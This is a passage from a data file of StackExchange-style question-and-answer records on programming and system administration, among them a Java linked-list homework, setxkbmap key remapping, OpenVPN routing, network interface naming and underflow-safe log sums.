ADT. Its implementation is * circularly-linked and employs a sentinel (dummy) node at the head * of the list. * * DO NOT CHANGE ANY METHOD PROTOTYPES IN THIS FILE. */public class DList { /** * head references the sentinel node. * size is the number of items in the list. (The sentinel node does not * store an item.) * * DO NOT CHANGE THE FOLLOWING FIELD DECLARATIONS. */ protected DListNode head; protected int size; /* DList invariants: * 1) head != null. * 2) For any DListNode x in a DList, x.next != null. * 3) For any DListNode x in a DList, x.prev != null. * 4) For any DListNode x in a DList, if x.next == y, then y.prev == x. * 5) For any DListNode x in a DList, if x.prev == y, then y.next == x. * 6) size is the number of DListNodes, NOT COUNTING the sentinel, * that can be accessed from the sentinel (head) by a sequence of * next references. */ /** * newNode() calls the DListNode constructor. Use this class to allocate * new DListNodes rather than calling the DListNode constructor directly. * That way, only this method needs to be overridden if a subclass of DList * wants to use a different kind of node. * @param item the item to store in the node. * @param prev the node previous to this node. * @param next the node following this node. */ protected DListNode newNode(Object item, DListNode prev, DListNode next, DList listp) { return new DListNode(item, prev, next, listp); } /** * DList() constructor for an empty DList. */ public DList() { this.head = new DListNode(Integer.MIN_VALUE, null, null, null); this.head.next = this.head; this.head.prev = this.head; this.head.listp = this; this.size = 0; } /** * isEmpty() returns true if this DList is empty, false otherwise. * @return true if this DList is empty, false otherwise. * Performance: runs in O(1) time. */ public boolean isEmpty() { return size == 0; } /** * length() returns the length of this DList. * @return the length of this DList. * Performance: runs in O(1) time. */ public int length() { return size; } /** * insertFront() inserts an item at the front of this DList. * @param item is the item to be inserted. * Performance: runs in O(1) time. */ public void insertFront(Object item) { this.head.next = newNode(item, this.head, this.head.next, this); if(this.size==0){ this.head.prev = this.head.next; }else{ this.head.next.next.prev = this.head.next; } this.size++; } /** * insertBack() inserts an item at the back of this DList. * @param item is the item to be inserted. * Performance: runs in O(1) time. */ public void insertBack(Object item) { this.head.prev = newNode(item, this.head.prev, this.head, this); if(this.size == 0){ this.head.next = this.head.prev; }else{ this.head.prev.prev.next = this.head.prev; } this.size++; } /** * front() returns the node at the front of this DList. If the DList is * empty, return null. * * Do NOT return the sentinel under any circumstances! * * @return the node at the front of this DList. * Performance: runs in O(1) time. */ public Object front() { if(this.size >0){ return this.head.next.item; }else{ return null; } } /** * back() returns the node at the back of this DList. If the DList is * empty, return null. * * Do NOT return the sentinel under any circumstances! * * @return the node at the back of this DList. * Performance: runs in O(1) time. */ public Object back() { if(this.size > 0){ return this.head.prev.item; }else{ return null; } } /** * next() returns the node following node in this DList. If node is * null, or node is the last node in this DList, return null. * * Just to make sure that passed node is part of the list that we are * working with, listp is added as member of node * Do NOT return the sentinel under any circumstances! * * @param node the node whose successor is sought. * @return the node following node. * Performance: runs in O(1) time. */ public DListNode next(DListNode node) { if((node.next != this.head) && (node.listp == this)){ return node.next; }else{ return null; } } /** * prev() returns the node prior to node in this DList. If node is * null, or node is the first node in this DList, return null. * * Do NOT return the sentinel under any circumstances! * * @param node the node whose predecessor is sought. * @return the node prior to node. * Performance: runs in O(1) time. */ public DListNode prev(DListNode node) { if((node.prev != this.head) && (node.listp == this)){ return node.prev; }else{ return null; } } /** * insertAfter() inserts an item in this DList immediately following node. * If node is null, do nothing. * @param item the item to be inserted. * @param node the node to insert the item after. * Performance: runs in O(1) time. */ public void insertAfter(Object item, DListNode node) { if((node != null) && (node.listp == this)){ node.next = new DListNode(item, node, node.next, this); node.next.next.prev = node.next; } } /** * insertBefore() inserts an item in this DList immediately before node. * If node is null, do nothing. * @param item the item to be inserted. * @param node the node to insert the item before. * Performance: runs in O(1) time. */ public void insertBefore(Object item, DListNode node) { if((node != null) && (node.listp == this)){ node.prev = new DListNode(item, node.prev, node, this); node.prev.prev.next = node.prev; } } /** * remove() removes node from this DList. If node is null, do nothing. * Performance: runs in O(1) time. */ public void remove(DListNode node) { if((node != null) && (node.listp == this)){ node.prev.next = node.next; node.next.prev = node.prev; } } /** * toString() returns a String representation of this DList. * * DO NOT CHANGE THIS METHOD. * * @return a String representation of this DList. * Performance: runs in O(n) time, where n is the length of the list. */ public String toString() { String result = [ ; DListNode current = head.next; while (current != head) { result = result + current.item + ; current = current.next; } return result + ]; }}/* DListNode.java */package list;/** * A DListNode is a node in a DList (doubly-linked list). */public class DListNode { /** * item references the item stored in the current node. * prev references the previous node in the DList. * next references the next node in the DList. * * DO NOT CHANGE THE FOLLOWING FIELD DECLARATIONS. */ public Object item; protected DListNode prev; protected DListNode next; protected DList listp; /** * DListNode() constructor. * @param i the item to store in the node. * @param p the node previous to this node. * @param n the node following this node. */ DListNode(Object i, DListNode p, DListNode n, DList listp) { this.item = i; this.prev = p; this.next = n; this.listp = listp; }}My question:As part of code changes for Part I, do you think the query mentioned as Part I is addressed?As part of code changes for Part II, does the observation and solution to avoid corruption of class DList looks correct?" , "title": "Doubly circular linked list implementation with successive update in O(1)" , "tags": "java;linked list;homework;circular list" } { "id": "_unix.303429" , "question": "Currently, I am trying to change the brightness of my Ubuntu system. This is my first time using Ubuntu. I couldn't change the brightness using the fn key. This is because my keyboard don't have the fn key. So i found out through the online source that it is possible to change the brightness my modifying the value of the acpi_video0/brightness file. I tried changing it. It seems that the value can be changed but in the screen has no effect. I have also tried changing commands in the GRUB file but its still the same. My Ubuntu system is too dim now. I need to increase it somehow. *-display description: VGA compatible controller product: Intel Corporation vendor: Intel Corporation physical id: 2 bus info: pci@0000:00:02.0 version: 06 width: 64 bits clock: 33MHz capabilities: pciexpress msi pm vga_controller bus_master cap_list rom configuration: driver=i915_bpo latency=0 resources: irq:324 memory:de000000-deffffff memory:c0000000-cfffffff ioport:f000(size=64)" , "title": "acpi_video0 brightness no effect on the screen" , "tags": "ubuntu;acpi;brightness" } { "id": "_softwareengineering.198379" , "question": "I am currently working on creating a toolkit for work and I've gotten to the point where I'm wondering about error reporting. Basically all of my tools, which consist of a grouping of classes, will eventually be ran from a main method. Many of these tools will be doing operations on file like reading them in and converting them into some sort of array of objects or writing an object array to a file in a certain format. Whenever you are dealing with data that your program didn't create there is always room for error and those errors need to be known.With that said what would be a good method to document all of the errors that occur during the processing and allow them to be retrieved later? Considering that I may want to send these error information out later I don't think that Log4J would be a good fit. I was considering using a string builder in each of my processing classes and append all error to that builder and retrieve it later at my leisure. I was also thinking of using some sort of arrayList or something that would hold the different types of errors but I'm a bit at a loss. Does anyone have any good methods of doing this? " , "title": "Standard Java Error Reporting" , "tags": "java" , "accepted_answer": "It sounds like you are trying to enable remote logging. Log4J is a fine fit for this. What you can do in the most basic way possible is open up a socket that sends data to a message queue. This message queue will have a listener attached to it that can handle the different log messages it receives. This data can later be persisted into a database which you can than query against to generate reports. Using StringBuilder makes very little to no sense, because it sounds like you are trying to just consume a bunch of space on the host system.FROM THE COMMENTS Correct, once these errors are fixed I no longer need them. Is it standard practice to funnel all errors from applications into a single database? I don't mind keeping the data if this is the correct method of doing so however only the newest information will be looked atIt is more a standard practice to keep a dedicated audit log, depending on your policy / legal requirements this can be anywhere from 90 days to 2 years. This enables you to go back and prove that steps were taken to mitigate compliance issues, track down malicious activity, etc. While it is true that logs are only good for a limited period of time, it is greatly beneficial to see audit logs when you are trying to track down a recurring issue in the system." } { "id": "_unix.212573" , "question": "There seem to be several options for setxkbmap such as -option caps:backspace which makes caps a backspace. However I cannot seem to find an option that makes backspace an escape key. How do I create a single setxkbmap command that changes the backspace key to an escape key?" , "title": "How can I make backspace act as escape using setxkbmap?" , "tags": "keyboard shortcuts;xkb" , "accepted_answer": "You'll have to define a new option.First, make a new symbol file e.g. /usr/share/X11/xkb/symbols/bksp with the following content:partial alphanumeric_keysxkb_symbols bksp_escape { key <BKSP> { [ Escape ] };};Then create the new option like this:bksp:bksp_escape = +bksp(bksp_escape)(where bksp is the name of the symbol file and bksp_escape is the group name that was defined in this file) and add it to the options list in the rules set you're using - assuming evdev - so place it in /usr/share/X11/xkb/rules/evdev under ! option = symbols:! option = symbols bksp:bksp_escape = +bksp(bksp_escape) ........... grp:shift_toggle = +group(shifts_toggle) altwin:menu = +altwin(menu)Add it also to /usr/share/X11/xkb/rules/evdev.lst (with a short description) under ! option (e.g. right before ctrl):! option ........ bksp Backspace key behavior bksp:bksp_escape Backspace as Escape ctrl Ctrl key position ctrl:nocaps Caps Lock as CtrlYou can then run, as a regular user:setxkbmap -layout us -option bksp:bksp_escapeto enable the option and make BKSP behave as ESC.You can also verify if:setxkbmap -queryreports:rules: evdevmodel: pc104layout: usoptions: bksp:bksp_escapeand ifsetxkbmap -printoutputs:xkb_keymap { xkb_keycodes { include evdev+aliases(qwerty) }; xkb_types { include complete }; xkb_compat { include complete }; xkb_symbols { include pc+us+inet(evdev)+bksp(bksp_escape) }; xkb_geometry { include pc(pc104) };};In Gnome 3 you can make the option permanent via dconf (or gsettings in terminal) e.g. add 'bksp:bksp_escape' to the org>gnome>desktop>input-sources>xkb-options key (note that in dconf values are separated by comma+space).Finally, note that both evdev and evdev.lst will be overwritten on future upgrades (but not your custom bksp symbol file) so you'll have to edit them again each time the package that owns them is upgraded (on archlinux it's xkeyboard-config). It's easier to write a script that does that, e.g.sed '/! option[[:blank:]]*=[[:blank:]]*symbols/a\\ bksp:bksp_escape = +bksp(bksp_escape)' /usr/share/X11/xkb/rules/evdevsed '/! option/a\\ bksp Backspace key behavior\\ bksp:bksp_escape Backspace as Escape' /usr/share/X11/xkb/rules/evdev.lstIf you're happy with the result use sed -i (or -i.bak if you want to make backup copies) to actually edit those files in-place." } { "id": "_codereview.54290" , "question": "import java.util.Arrays;public class BinarySearch { // this class should not be instantiated private BinarySearch() { } // searches for the integer key in the sorted array a[] // @param key the search key // @param a the array of integers, must be sorted in ascending order // @return index of key in array a[] if present; -1 if not present public static int rank(int key, int[] a) { int lo = 0; int hi = a.length - 1; while (lo <= hi) { // key is in a[lo..hi] or not present int mid = lo + (hi - lo) / 2; if (key < a[mid]) hi = mid - 1; else if (key > a[mid]) lo = mid + 1; else return mid; } return 1; } // reads in a sequence of integers from the whitelist file, specified as a command line argument. reads in integers from standard input and prints to standard output // those integers that do not appear in the file. public static void main(String[] args){ // read the integers from a file In in = new In(args[0]); int[] whitelist = in.readAllInts(); // sort the array Arrays.sort(whitelist); // read integer key from standard input; print if not in whitelist while (!StdIn.isEmpty()) { int key = StdIn.readInt(); if (rank(key, whitelist) == -1) StdOut.println(key); } }}" , "title": "Is this a reasonable binary search implementation?" , "tags": "java;algorithm;reinventing the wheel;binary search" , "accepted_answer": "Your implentation can search integers, we expect to search in an array of any comparable objects.I think you have a bug if the element is not found. It will return 1 instead of -1 / throwing an exception. Add unit tests.Also, Java is now open source, you can compare your implementation with the one from the JDK (Arrays.binarySearch).Also, in code style:it is recommended to use {} in if block, even if they are one-liner" } { "id": "_cstheory.8316" , "question": "I'm looking to link a problem I'm working on to a known NP-hard problem. I think I can model my problem as a resource constrained shortest path problem. However, the structure of my graph is not completely arbitrary. Thus, it will be useful to know when RCSP becomes hard. Is it hard for a DAG, for a planar DAG, for a DAG with bounded degree? Any help would be greatly appreciated!" , "title": "On which classes of graphs is resource constrained shortest path (RCSP) NP-hard?" , "tags": "cc.complexity theory;graph algorithms;np hardness;optimization" , "accepted_answer": "I don't know if you're still interested in this (old) question, and if I understood well the resource constraints you gave in the comment; however it seems that your problem (which is slightly different from usual RCSP problems) is NP-complete for planar (undirected or directed or directed acyclic) graphs of max-degree 3.The easy reduction is from 3-SAT. Given a formula $\\varphi$ with $n$ variables $x_1,...x_n$ and $m$ clauses $C_1,...C_m$:add a resource constraint set $M_k^+$ with two vertices for each positive literal $x_k$ in $\\varphi$ and a resource constraint set $M_k^-$ with two vertices for each negative literal $\\bar{x}_k$ in $\\varphi$;start building a graph from a source node $s$ and for each variable $x_i$ split the path in two lines: the upper one traverses one vertex of all the $M_k^-$ that correspond to a negative literal $\\bar{x}_k$; the lower one traverses one vertex of all the $M_k^+$ that correspond to a positive literal $x_k$;then for each $C_j$ split the path in 3 lines that traverse in parallel the 3 vertices corresponding to the literals of $C_j$ and that are picked from the corresponding $M_k^+$ or $M_k^-$;finally add a sink node $t$.A path from $s$ to $t$ exists if and only if the original formula is satisfiable (i.e. without loss of generality you can ask for a path of length $\\leq |V|$).Informally when traversing the variable section $x_i$, if you pick the upper line (true assignment) then you must use one of the vertices of all the $M_k^-$ resource constraint sets that also contain a vertex that can be used later to traverse (satisfy) a clause containing $\\bar{x}_i$. If you pick the lower line (false assignment) then you must use one of the vertices of all the $M_k^+$ resource constraint sets that also contain a vertex that can be used later to traverse (satisfy) a clause containing $x_i$. When traversing each clause at least one of the three vertices must be contained in a $M_k$ that has not be used yet (i.e. at least one of them can be used to satisfy the clause).The following figure should make the reduction clearer. The resource constraint sets $M_k$ are represented with distinct colors (and for every color there are exactly 2 vertices).$C_1 = x_1 \\lor \\bar{x}_2 \\lor x_3$$C_2 = x_2 \\lor \\bar{x}_3 \\lor x_4$$C_3 = \\bar{x}_1 \\lor x_3 \\lor \\bar{x}_2$You can also easily make the graph directed, acyclic and bipartite. Let me know if you need further details (or if I completely misunderstood the problem :-).As noted by Saaed the problem is fixed-parameter tractable with respect to $k$ (just consider all possible subsets of constrained nodes and for each combination run the shortest path algorithm)." } { "id": "_codereview.154087" , "question": "Background(these are the bits technically not for review, but feel free to point out any minor points)An Entity class can be identified by a name and at least one alias:public final class Entity { private final String name; private final Set<String> aliases; public Entity(String name) { this(name, name); } public Entity(String name, String... aliases) { if (aliases == null || aliases.length == 0) { throw new IllegalArgumentException(At least one alias expected.); } this.name = name; this.aliases = ImmutableSet.copyOf(aliases); } public String getName() { return name; } public Set<String> getAliases() { return aliases; }}A Container interface describes how to find by a name or an alias:public interface Container { Optional<Entity> findByName(String name); Optional<Entity> findByAlias(String name);}For the purpose of the comparison below, it is safe to assume that an Entity can be uniquely identified by a name or alias in a Container.Lookup implementation #1This performs the mapping and comparison on-the-fly. AdvantagesMethod implementations can be read fluentlyOpens up the possibility of additional searching criteria by using a different BiPredicate, e.g. using String::equalsIgnoreCase for a case-insensitive name searchUnsure aboutPerformance, is it optimal? public final class EntityContainer implements Container { private final Set<Entity> entities; public EntityContainer(Entity... entities) { if (entities == null || entities.length == 0) { throw new IllegalArgumentException(At least one entity expected.); } this.entities = ImmutableSet.copyOf(entities); } @Override public Optional<Entity> findByName(String name) { return findBy(Entity::getName, Object::equals, name); } @Override public Optional<Entity> findByAlias(String alias) { return findBy(Entity::getAliases, Set::contains, alias); } private <X, Y> Optional<Entity> findBy(Function<Entity, ? extends X> mapper, BiPredicate<X, Y> biPredicate, Y lookupValue) { return Optional.ofNullable(lookupValue) .flatMap(y -> entities.stream() .filter(Objects::nonNull) .filter(x -> biPredicate.test(mapper.apply(x), y)) .findAny()); }}Lookup implementation #2This relies on a good-ol' Map to perform the lookup. AdvantagesLookupUtils can be readily applied to generate other similar lookup Maps.Using LookupUtils can make the lookup more defensive than the first approach (see below) public final class AnotherEntityContainer implements Container { private final Set<Entity> entities; private final Map<String, Entity> byNames; private final Map<String, Entity> byAliases; public AnotherEntityContainer(Entity... entities) { if (entities == null || entities.length == 0) { throw new IllegalArgumentException(At least one entity expected.); } this.entities = ImmutableSet.copyOf(entities); this.byNames = LookupUtils.mapBy(Entity::getName, entities); this.byAliases = LookupUtils.mapByMulti(Entity::getAliases, entities); } @Override public Optional<Entity> findByName(String name) { return ofNullable(byNames.get(name)); } @Override public Optional<Entity> findByAlias(String alias) { return ofNullable(byAliases.get(alias)); }}Implementation of LookupUtilspublic final class LookupUtils { private LookupUtils() { // empty } public static <K, V> Map<K, V> mapBy(Function<? super V, ? extends K> mapper, V... values) { return mapBy(values == null ? empty() : stream(values), mapper, v -> v); } public static <K, V> Map<K, V> mapByMulti(Function<? super V, ? extends Set<K>>mapper, V... values) { return mapBy(values == null ? Stream.<Entry<K, V>>empty() : stream(values).flatMap(x -> mapper.apply(x).stream().collect( toMap(k -> k, v -> x)).entrySet().stream()), Entry::getKey, Entry::getValue); } private static <T, K, V> Map<K, V> mapBy(Stream<T> stream, Function<? super T, ? extends K> keyMapper, Function<? super T, ? extends V> valueMapper) { Map<K, V> result = stream.filter(Objects::nonNull).collect( collectingAndThen(toMap(keyMapper, valueMapper), Collections::unmodifiableMap)); if (result.isEmpty()) { throw new IllegalStateException(Empty result map unexpected.); } if (result.containsKey(null)) { throw new IllegalStateException(null keys unexpected.); } return result; }}The tests for an empty map or null keys are to make it a requirement that lookup maps shouldn't be empty by definition, and to follow the recommendation from Guava. Implicitly, duplicate keys will also throw an IllegalStateException courtesy of Collectors.toMap(Function, Function). May I know which would be more preferable in terms of:ReadabilityMaintainability/understandingPerformance, for some definition of it (taking in mind 'premature optimization is the root of all evil')Does it matter (i.e. will the answer change) if lookups are performed extensively?Does it matter if there is a million aliases and names, or if there's only hundreds of them?" , "title": "Comparison of lookup methods" , "tags": "java;comparative review;lookup" , "accepted_answer": "The first solution is a lot more compact making it almost automatically a lot easier to comprehend and maintain. However, performance will be far better with the Map variant. The stream variants won't be able to do any optimization and will need to check the predicate against all elements.If you already know that this class will become a performance bottleneck (and it could easily become one with a higher number of entities combined with a high number of look-ups) then a more complicated solution is certainly waranted to get acceptable performance." } { "id": "_scicomp.20407" , "question": "Let $$T=1, K=100, S_0=100, \\sigma=0.05, r=0.15. $$Define $\\nu:=\\frac{2r}{\\sigma^2}-1$and $$H(y,z)=\\frac{z e^{\\pi^2 /4y}}{\\pi \\sqrt{\\pi y}}\\int_0^{\\infty} e^{-z \\cosh(u) -u^2/(4y)} \\sinh(u) \\sin(\\frac{\\pi u}{2y})du$$then next define $$ f(y,z)=\\left( \\frac{z}{S_0}\\right)^{\\nu/2}\\frac{1}{4KT}\\exp\\left(-\\frac{2(S0+z)}{KT\\sigma^2}-\\frac{\\nu^2\\sigma^2y}{8} \\right) \\times H(\\frac{\\sigma^2y}{8},\\frac{4\\sqrt{S_0 z}}{KT\\sigma^2}) $$and $$ g(y,z)=z\\frac{e^{-ry}-e^{-rT}}{rT} $$I would like to compute the following double integral $$ I=\\int_0^{\\infty}\\left[\\int_0^T g(y,z)f(y,z)dy\\right]dz. $$When I tried this with Maple, please see the picture below,it ran out of memory.I would like to ask whether there is a way to compute the above integral? What should I do to compute the integral?" , "title": "How to compute this double integral?" , "tags": "linear algebra;finite element;numerical analysis;discretization" } { "id": "_webmaster.13401" , "question": "I have about 20 domains to manage. Some registered to the client (i impersonated him) and other register by me, under different name and address (over the years).I like to get ALL THE DOMAINS under one roof, one easy to manage all the registration and order in one place..what do you suggest...once in my life, i have try doteasy, which make domain managing super easy, but i don't like the prices..." , "title": "Domain manager to consolidate many domain here and there" , "tags": "domains" , "accepted_answer": "Pick a company which looks like it's going to be around for a few years and move all the domains to that company. Make sure that you have written agreements with the clients who you impersonated so that it's clear who owns the domain. If you used their contact details then when the domain transfer request comes through they are going to receive it and may wonder what's happening." } { "id": "_codereview.13510" , "question": "I have created a very simple script that will create two columns which are populated by an array. It works, but I am certain that the way that I have gone about it is not the best way. I have been searching for simple, sample scripts which would aide me in understanding how to best approach this, but all of them have been too specific to their application.This is what I have made:$assets = array('Bag', 'Charger', 'Power Cable', 'Video Cable', 'Mouse', 'Keyboard', 'Test', 'Test 2', 'Test 3');$assets_count = count($assets);$halfway_raw = $assets_count / 2;$halfway = round($halfway_raw, 0) - 1;echo '<ul class=col-1>';for($i = 0; $i < $assets_count; $i++) { if($i == $halfway) { echo '<li>' . $assets[$i] . '</li>'; echo '</ul>'; echo '<ul class=col-2>'; } else { echo '<li>' . $assets[$i] . '</li>'; }}echo '</ul>';I'm looking for something that scales easily and is obviously as small as possible, which I don't think my script is." , "title": "Dynamic two-column list, Vertical Wrap" , "tags": "php;algorithm;html" , "accepted_answer": "Well, this is more concise, and it should be easy enough to scale:<?php$assets = array('Bag', 'Charger', 'Power Cable', 'Video Cable', 'Mouse', 'Keyboard', 'Test', 'Test 2', 'Test 3');$half = ceil(count($assets)/2);$columns = array( array_slice($assets, 0, $half), // first half array_slice($assets, $half) // second half);foreach( $columns as $index => $column ) { $index += 1; echo <ul class=\\col-$index\\><li> . implode(</li><li>, $column) . </li></ul>;}?>Basically, it's using more built-in PHP functions and constructs (array_slice, implode, foreach) but is functionally identical to the original." } { "id": "_softwareengineering.212326" , "question": "A HashMap allows only one null key. Is it because it allows only unique keys? Or is there another reason?" , "title": "Why does HashMap allow only one null key?" , "tags": "java;map" , "accepted_answer": "Why is it confusing? The javadoc for HashMap.put clearly states:Associates the specified value with the specified key in this map. If the map previously contained a mapping for the key, the old value is replaced.It clearly states what happens when you do a put with a key which was already in the map. The specific case of key == null behaves in the same way: you can't have two different mappings for the null key (just like you can't for any other key). It's not a special case, for the context of your question." } { "id": "_unix.272666" , "question": "I've got an ASUS RT-AC66u running an OpenVPN server working fine. But on my debian server I have to add a route or else I get no responses. Just curious if there is a way to add the route to the router for persistence there, versus putting the command in /etc/network/interfaces as a post-up/pre-down rule. On debian I've added this:route add -net 10.14.0.0 netmask 255.255.255.0 gw 192.168.192.2I tried adding basically the same thing to the ASUS (not realizing that obviously shouldn't work) and broke any connection until I removed it. Would the proper syntax for it be?net 192.168.192.0 netmask 255.255.255.0 gw put.vpn.gw.here" , "title": "How Would I Appropriated Add this Route?" , "tags": "networking;routing;openvpn" } { "id": "_unix.136282" , "question": "For an embedded Linux system, if I have two or more network interfaces, how do I ensure that they always get the same interface names every bootIn other words, I want, for example, eth0 to always map to one physical Ethernet port, eth1 to the next, etc.My Linux distribution is home-grown, and I use devtmpfs for populating /dev. I use busybox for init (and most everything else), along with custom init scripts for system startup and shutdown.I do not need hotplug facilities of mdev or udev -- I'm referring to fixed Ethernet ports." , "title": "How do you ensure physical network interfaces always get the same interface name across reboots on an embedded Linux system?" , "tags": "linux;networking;embedded;ethernet" , "accepted_answer": "This works for me with Linux 3.9.0 on an x86_64 architecture.#!/bin/sh# This assumes the interfaces come up with default names of eth*.# The interface names may not be correct at this point, however.# This is just a way to get the PCI addresses of all the active# interfaces.PCIADDRLIST=for dir in /sys/class/net/eth* ; do [ -e $dir/device ] && { PCIADDRLIST=`readlink -f $dir/device` ${PCIADDRLIST} }done# Now assign the interface names from an ordered list that maps# to the PCI addresses of each interface.# IFNAMES could come from some config file. dummy is needed because of# my limited tr- and awk-fu.IFNAMES=eth0 eth1 eth2 dummyfor dir in `echo ${PCIADDRLIST} | tr \\n | sort` ; do [ -e $dir/net/*/address ] && { MACADDR=`cat $dir/net/*/address` IFNAME=`echo $IFNAMES | awk '{print $1}'` IFNAMES=`echo $IFNAMES | awk '{ for (i=2; i<=NF; i++) printf %s , $i; }'` echo -n $IFNAME nameif $IFNAME mac=$MACADDR }done" } { "id": "_webmaster.28292" , "question": "I am trying to find a Content Mangement/social interaction script that requires a person to be a part of a group. Specifically:My daughter is a cheerleader and there are a number of cheer groups she is involved in and also has friends in many others. A lot of them could use some kind of website where they can share information between their team members and coach. The coach being the controller of the group and who can join etc. Group Leader? One can only join the group if invited or given a password or some such security. There would be multipel groups or in this case multiple cheer squads who were registered as groups and the cheerleaders a part of their group. The coach or group leader would have control of the group calender and they may have their own calendars and be messaging between them and/or other social interactions. IN a perfect world they could modify their own pages individualy. Communication could go globally or only to the group and a friends or buddy system. I think you get the idea. I really like OCportal and what it does and can do but it does not have the group funcitionality I am looking for. Perhaps I am just going to need to see about getting aprogrammer to write an add on for me if ther is nothing like this out there. But if you know of any I would appreciate being pointed in that direction. " , "title": "I am looking for a script where users can create groups cms/social interaction site" , "tags": "looking for a script;content;social networks" } { "id": "_codereview.84988" , "question": "The following code reads a file, splits its data, replaces some characters in the data, and then joins the data again (I added more details in the comments):// read plain text file and make content available in datafs.readFile(filename, 'utf8', function(err, data) { if (err) throw err // turn the data into an array data = data.split('\\n\\n') // make a clone of the array to be used in the if statements. var tree = data.slice() for (var i = 0; i < tree.length; ++i) { // turn #s into heading tags if #s are present if (tree[i].match(/^#/g)) { data[i] = data[i] .replace(/^#### (.*)/gm, '<h4>$1</h4>') .replace(/^### (.*)/gm, '<h3>$1</h3>') .replace(/^## (.*)/gm, '<h2>$1</h2>') .replace(/^# (.*)/gm, '<h1>$1</h1>') } // smarten or ' if present if (tree[i].match(/|'/g)) { data[i] = data[i] .replace(/(?=\\b|\\*|')/g, '') .replace(/(?!\\b|\\*|')/g, '') .replace(/'(?!\\b|\\*)|(?=\\b)'(?=\\b)/g, '') .replace(/'(?=\\b|\\*)/g, '') } // turn -- into if present if (tree[i].match(/--/g)) { data[i] = data[i] .replace(/\\b--(\\b)*/g, '') } // turn * or ** into italics and bold if present if (tree[i].match(/\\*\\*|\\*/g)) { data[i] = data[i] .replace(/\\*\\*([^\\*|\\s]+)\\*\\*/g, '<strong>$1</strong>') .replace(/\\*([^\\*|\\s]+)\\*/g, '<em>$1</em>') } // surround every element with p tags if the // element doesn't start with an #. Also if the previous element of // the element is # or * * * add the p tag with the class ni if (tree[i].match(/^[^#]/g)) { if (tree[i - 1] && (tree[i - 1].match(/^#/g) || tree[i - 1] === * * *)) { data[i] = '<p class=ni>' + data[i] + '</p>' } else { data[i] = '<p>' + data[i] + '</p>' } } } // lastly, put the array together again to the saved as HTML data = data.join('\\n\\n') saveHtml(data)})Example input:# Title'Single quotes'Double Quotes* * *ParagraphsOutput:<h1>Title</h1><p class=ni>Single quotes</p><p>Double Quotes</p><p>* * *</p><p class=ni>Paragraphs</p>Is there a cleaner way to write those if statements? Or at least create a function so that there is less code in that fs.readFile block?" , "title": "Converting file from Markdown-like markup into HTML using repeated substitutions" , "tags": "javascript;strings;regex;io;markdown" , "accepted_answer": "Here's what I would do (note: in ES6, though it is trivial to convert back to ES5). It doesn't match your code perfectly, but it should get get the point across. Essentially I extract everything out into smaller methods and then have a method that can perform batch replacements. It's not shorter nor really any less complex, but it is (to me) easier to read and follow.Notes:I'd normally comment this like crazy so that I could remember what the regexps do, but in this example I haven't. Almost all of them are your regexp's, and the ones that are different aren't so different that they won't be obvious to you.I prefer HTML Entities for things like double quotes and dashes. I'm not worrying about the p class=ni stuff, but it would be trivial to add.ES6 Code:function massReplace(text, replacementArray) { let results = text; for (let [regex, replacement] of replacementArray) { results = results.replace(regex, replacement); } return results;}function transformHeadings(text, orig) { if (orig.match(/^#{1,6}\\s/)) { return massReplace(text, [ [/^###### (.*)/gm, '<h6>$1</h6>'], [/^##### (.*)/gm, '<h5>$1</h5>'], [/^#### (.*)/gm, '<h4>$1</h4>'], [/^### (.*)/gm, '<h3>$1</h3>'], [/^## (.*)/gm, '<h2>$1</h2>'], [/^# (.*)/gm, '<h1>$1</h1>'] ] ); }}function transformQuotes(text, orig) { if (orig.match(/|'/)) { return massReplace(text, [ [/(?=\\b|\\*|')/g, '“'], [/(?!\\b|\\*|')/g, '”'], [/'(?!\\b|\\*)|(?=\\b)'(?=\\b)/g, '‘'], [/'(?=\\b|\\*)/g, '’'] ] ); }}function transformStyling(text, orig) { if (orig.match(/\\*\\*|\\*/)) { return massReplace(text, [ [ /\\*\\*([^\\*|\\s]+)\\*\\*/g, '<strong>$1</strong>'], [ /\\*([^\\*|\\s]+)\\*/g, '<em>$1</em>' ] ]); }}function transformDashes(text, orig) { if (orig.match(/\\-\\-/)) { return massReplace (text, [ [ /\\-\\-/g, '—' ] ]); }}function transformParagraphs(text, orig) { if (!orig.match(/^#{1,6} (.*)/)) { return `<p>${text}</p>`; }}function transformToHTML(markdownSource) { let data = markdownSource.split('\\n\\n'), orig = data.slice(), transforms = [ transformHeadings, transformQuotes, transformDashes, transformStyling, transformParagraphs ]; for (let i = 0, l = orig.length; i < l; ++i) { for (let transform of transforms) { let result; if ((result = transform(data[i], orig[i])) !== undefined) { data[i] = result; } } } return data.join('\\n');}NOTE: For engines that don't support destructuring (looking at you, io.js), use this method instead:function massReplace(text, replacementArray) { let results = text; for (let replacementArrayItem of replacementArray) { let regex = replacementArrayItem[0], replacement = replacementArrayItem[1]; results = results.replace(regex, replacement); } return results;}" } { "id": "_cstheory.5434" , "question": "I need to translate a training algorithm that involves sums and multiplications of probabilities to actual code. For that I need some sort of scaling procedure that allows me to avoid underflows, that is, misleading 0 probabilities.A typical method is to apply the logs of probabilities but because of the sums this is not readily possible for my case. Another approach I saw in Rabiner's tutorial on HMMs, was his scaling procedure only dependent on t (time) applied to the forward algorithm and (the other way around) the backward algorithm, that when combined cancel each other to obtain the desired trained probabilities.My questionI wonder if there are books or text resources explaining common approaches to tackle the underflow problem that results in working with continuous multiplications of probabilities. Do you know any? I hope I can get some ideas from that." , "title": "Scaling procedures to address false 0's after multiplying probabilities" , "tags": "pr.probability;na.numerical analysis" , "accepted_answer": "A simplee trick (explained here) that let you use the $\\log$ approach even when you must sum probabilities.Problem: $\\log(\\exp(a) + \\exp(b))$ can lead to an underflow, to avoid it you can use this formula:$\\log(x + y) = \\log(x) + \\log(1.0 + \\exp( \\log(y) - \\log(x) ) )$Or use another approach:$\\log(\\exp(a) + \\exp(b)) = \\log( \\exp(a - C) + \\exp(b - C)) + C$Setting $C = \\max(a,b)$For example: $\\log(e^{-120}+e^{-121}) = \\log(e^{-120}(e^0 + e^{-1}))= \\log(e^0+e^{-1})-120$" } { "id": "_computerscience.1801" , "question": "Thinking about hybrid raytracing, hence the following question:Suppose I have two solid spheres $s_1$ and $s_2$. We know their centres and radii, and we know that they have some overlapping volume in space.We have a typical 3D graphics setup: assume eye is at the origin, and we are projecting the spheres onto a view plane at $z = f$ for some positive $f$. The spheres are beyond the view plane and don't intersect it.Let $c$ be the circle in space that is points on the surface of both spheres, i.e. the visible (from some angles) 'join' of their overlapping volumes.I want to calculate if any of $c$ is visible when projected onto our view plane. It might not be, if $s_1$ or $s_2$ get completely in the way.Any ideas for approaching this?" , "title": "Sphere intersection occlusion (for hybrid raytracing)" , "tags": 